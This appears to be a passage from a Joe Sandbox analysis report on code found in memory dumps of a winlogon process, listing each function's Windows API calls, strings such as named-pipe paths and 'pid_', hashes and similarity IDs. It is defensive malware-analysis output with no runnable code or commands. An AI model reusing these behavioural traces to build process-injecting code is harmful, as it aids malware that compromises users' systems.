Opcode ID: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction ID: fd964db9a84d4bb375de0aedce81a24ee7f98beb5ec0a0efeb79b1a2d33cd7e4
Opcode Fuzzy Hash: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction Fuzzy Hash: 2DF04F623446C192EB308F61FDD87A9A360F744B99FC44022DA4D475A4DE7DCA8CCB10

Function 000002D0165E330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000002D0165E2576), ref: 000002D0165E332E
StrCpyW.SHLWAPI ref: 000002D0165E333E
StrCatW.SHLWAPI ref: 000002D0165E334A
PathCombineW.SHLWAPI(?,?,00000000,000002D0165E2576), ref: 000002D0165E3358

Strings

\\.\pipe\, xrefs: 000002D0165E3324

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: c344033dd0d2eb744401732b52d51cb32e72f8a85aad8a03c531d78be5b51dda
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: 12F08C60304BD092EF108BA7BD88219A260BB8CFC0F888172EE5E07B79CF2CC9458710

Function 000002D0165EC0C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002D0165EC0ED
GetProcAddress.KERNEL32 ref: 000002D0165EC103
FreeLibrary.KERNEL32 ref: 000002D0165EC12A

Strings

CorExitProcess, xrefs: 000002D0165EC0FC
mscoree.dll, xrefs: 000002D0165EC0E4

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction ID: 1bbfd0d0181f79ce92fa85e2204fa79ab9098d121dfd698e154c4333107ee7c2
Opcode Fuzzy Hash: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction Fuzzy Hash: F2F09065311A8181EF188BE4ECCC3296360FB887A5FD4125BDA6E462F4CF2DC948C310

Function 000002D0165E5B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D0165E5B56

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 3d2bacb6cfedfda86da8aef618d55a465eaed815584c29066aa84670fc6d8ab3
Instruction ID: 60600bb0f7767c314363c39a07b9ff83c9262393bfb243a1703b11c97863d28b
Opcode Fuzzy Hash: 3d2bacb6cfedfda86da8aef618d55a465eaed815584c29066aa84670fc6d8ab3
Instruction Fuzzy Hash: 84619136619B84C7EB60CB95E99831AB7A4F384754F901116FA8E47BB4DB7ECA44CF00

Function 000002D016593934 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002D01659395C
_set_statfp.LIBCMT ref: 000002D016593977
_set_statfp.LIBCMT ref: 000002D016593993
_set_statfp.LIBCMT ref: 000002D0165939CF

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 3fd1773397185434a97919cd340e0ae31bd0b89bcc84e2b89b2f3325c9289b53
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 1911C632A15AC0C5FB541EE8ECDE36914546B643BCFC52637AA7E0A2FBCF28CC448100

Function 000002D0165F4534 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002D0165F455C
_set_statfp.LIBCMT ref: 000002D0165F4577
_set_statfp.LIBCMT ref: 000002D0165F4593
_set_statfp.LIBCMT ref: 000002D0165F45CF

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 54a786291861fe94d045adb98334aad2a449724ce9aef7fbf1e65a188d02e38a
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4011CC32A16AD101FB5832E4ECDD3691D816B59378FC446B7AA7E067F7CB24CC494200

Function 000002D0165EAE4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002D0165EAE98
_CallSETranslator.LIBVCRUNTIME ref: 000002D0165EAEE7

Strings

MOC, xrefs: 000002D0165EAEAC
RCC, xrefs: 000002D0165EAEB5

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction ID: e34cecc76fbc14008044abe63a4b6d95f846595ab788ded8b10d6db0ff7985c2
Opcode Fuzzy Hash: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction Fuzzy Hash: 1A617D77A00B848AEB20DFA5D88439DB7A0F744B88F444216EF5D17BA9DB39DA95C700

Function 000002D01658A5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D01658A5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002D01658A6B8

Strings

csm, xrefs: 000002D01658A70A
csm, xrefs: 000002D01658A5F2

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 7282ddc68bfdaa4e78263fba1861d806cdaf687bbc007268760927ceaafd848d
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: D6516D326007C086EB648FA7998835877A8F354B94F945117DE9D87FEADB38D861DB00

Function 000002D0165EB1A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D0165EB1D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002D0165EB2B8

Strings

csm, xrefs: 000002D0165EB1F2
csm, xrefs: 000002D0165EB30A

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 224713e3047f848022d7ff7e0bc2caf07f455a724ffe94c4f97ae2bcea0e1f0e
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 62517B325003C086EF648FA1AEC935CB6A1E759B86F945217DA8D87BE5CB3ACE508710

Function 000002D0165E3554 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000002D0165E3576
StrStrW.SHLWAPI ref: 000002D0165E3594
StrToIntW.SHLWAPI ref: 000002D0165E35BB

Part of subcall function 000002D0165E1934: OpenProcess.KERNEL32 ref: 000002D0165E195A
Part of subcall function 000002D0165E1934: K32GetModuleFileNameExW.KERNEL32 ref: 000002D0165E1978
Part of subcall function 000002D0165E1934: PathFindFileNameW.SHLWAPI ref: 000002D0165E1987
Part of subcall function 000002D0165E1934: lstrlenW.KERNEL32 ref: 000002D0165E1993
Part of subcall function 000002D0165E1934: StrCpyW.SHLWAPI ref: 000002D0165E19A6
Part of subcall function 000002D0165E1934: CloseHandle.KERNEL32 ref: 000002D0165E19B4

Part of subcall function 000002D0165E3C74: StrCmpNIW.SHLWAPI(?,?,?,000002D0165E254B), ref: 000002D0165E3C8C

Strings

pid_, xrefs: 000002D0165E356C

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction ID: 9c27c4b32806b3b1d71bd2bce81768bde19e2a22b031ad4b71d42f21e49c3578
Opcode Fuzzy Hash: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction Fuzzy Hash: 8E1172213147D191EF609BB5EC89399A2A4FB44780FD541639E4CC37A6EF2ACE04CB40

Function 000002D0165F2488 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002D0165F2507
WriteFile.KERNEL32 ref: 000002D0165F27CF
WriteFile.KERNEL32 ref: 000002D0165F2815
GetLastError.KERNEL32 ref: 000002D0165F28CB

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction ID: 25e7d65e2427a61e100b32ad16220a2455b58a3823e48bab8ac3b682fdcbe701
Opcode Fuzzy Hash: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction Fuzzy Hash: 63D1DE72B04B8089EB11CFE9D88839C77B1F354BD8F848256DE5D97BA9DA38C946C740

Function 000002D0165E14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E14C5
HeapFree.KERNEL32 ref: 000002D0165E14D4
GetProcessHeap.KERNEL32 ref: 000002D0165E14E1
HeapFree.KERNEL32 ref: 000002D0165E14F0
GetProcessHeap.KERNEL32 ref: 000002D0165E1500

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction ID: be78f24107b1671ef84e7d40fa4da5dde535f615ce35d926ab804172758d56a0
Opcode Fuzzy Hash: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction Fuzzy Hash: 8F015A32600AE0C6E754DFA6EC8868AB7A0F788F81F444426EA8E43729DF38C851C750

Function 000002D0165F2DB0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000002D0165F2D9B), ref: 000002D0165F2ECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000002D0165F2D9B), ref: 000002D0165F2F57

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction ID: 550462a37ef2485ebe7c3d17cb0b580bb918d88b25f7e98020fc8259c8a8c218
Opcode Fuzzy Hash: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction Fuzzy Hash: EF9190B261069085F7609FF59CC83AD2BA4F744BC8F94819BDE0E57AA5DB74CC86C740

Function 000002D0165E7D90 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002D0165E7DBC
GetCurrentThreadId.KERNEL32 ref: 000002D0165E7DCA
GetCurrentProcessId.KERNEL32 ref: 000002D0165E7DD6
QueryPerformanceCounter.KERNEL32 ref: 000002D0165E7DE6

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction ID: d941e2ee91bad08c37433e505f6b50f08559376d36f66cf014fbf396711dcdc5
Opcode Fuzzy Hash: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction Fuzzy Hash: 00113322714F5089EF00CFB0EC983A833A4F719758F441E26EA6D47764DF78C5948380

Function 000002D0165E2604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002D0165E26E8
StrCpyW.SHLWAPI ref: 000002D0165E2701

Strings

\\.\pipe\, xrefs: 000002D0165E26F3

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: 62e8b36a1bb9a464023b3d4363badca2feeff15eb65837821e5b6c73b3e83663
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: 4271A0226047C14AEF659EA69C983AAB7A4F789BC4F944017DD0D43BA9DE36CF04C740

Function 000002D01658A24C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002D01658A2E7

Strings

RCC, xrefs: 000002D01658A2B5
MOC, xrefs: 000002D01658A2AC

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction ID: 3e58a82ac438e65841448e661121e414277e338513a823496b8bfd3f8d02a616
Opcode Fuzzy Hash: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction Fuzzy Hash: 89618A33604B84CAEB20DFAAD88439D77A4F348B88F444216EF4D17BA9DB78D895C700

Function 000002D0165E23F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002D0165E24DE
StrCpyW.SHLWAPI ref: 000002D0165E24F5

Strings

\\.\pipe\, xrefs: 000002D0165E24E9

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction ID: 16c06fefd71004c443562dd9b8eb039bd8a313772ba79083b5d51de1618eab5a
Opcode Fuzzy Hash: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction Fuzzy Hash: 7351A1222047C145EB249A65ADE83AAB761B3857C0FD48017DE5D47BADDA3ACE44CB40

Function 000002D016592DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 000002D016593071

Strings

dll, xrefs: 000002D016592E95

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: _log10_special
String ID: dll
API String ID: 3812965864-1037284150
Opcode ID: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction ID: 22a895a7c19ecf55829837ab18d511ccb615642d92a1f727a12385b2ee07f9e3
Opcode Fuzzy Hash: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction Fuzzy Hash: D2614F21925FC8C9E7639BB99C993266718BF627CCFC1D307E84E71A71EB19D8139200

Function 000002D0165F2B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002D0165F2C37
GetLastError.KERNEL32 ref: 000002D0165F2C59

Strings

U, xrefs: 000002D0165F2BE3

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: 190324b4559fddd95f0b569ea860501a90d2ba02e42452dfbb69c1103015e417
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: E641D772314A8092DB20DFA5F8883AA77A1F7987D4F908026EE4D877A4DF7CC945C740

Function 000002D0165E98D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002D0165E9920
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000002D0165E850B), ref: 000002D0165E9961

Strings

csm, xrefs: 000002D0165E994E

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction ID: fb88d103afe6bf17a54f131a258ada04db8f3780c49a163a9c4a64debe83788e
Opcode Fuzzy Hash: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
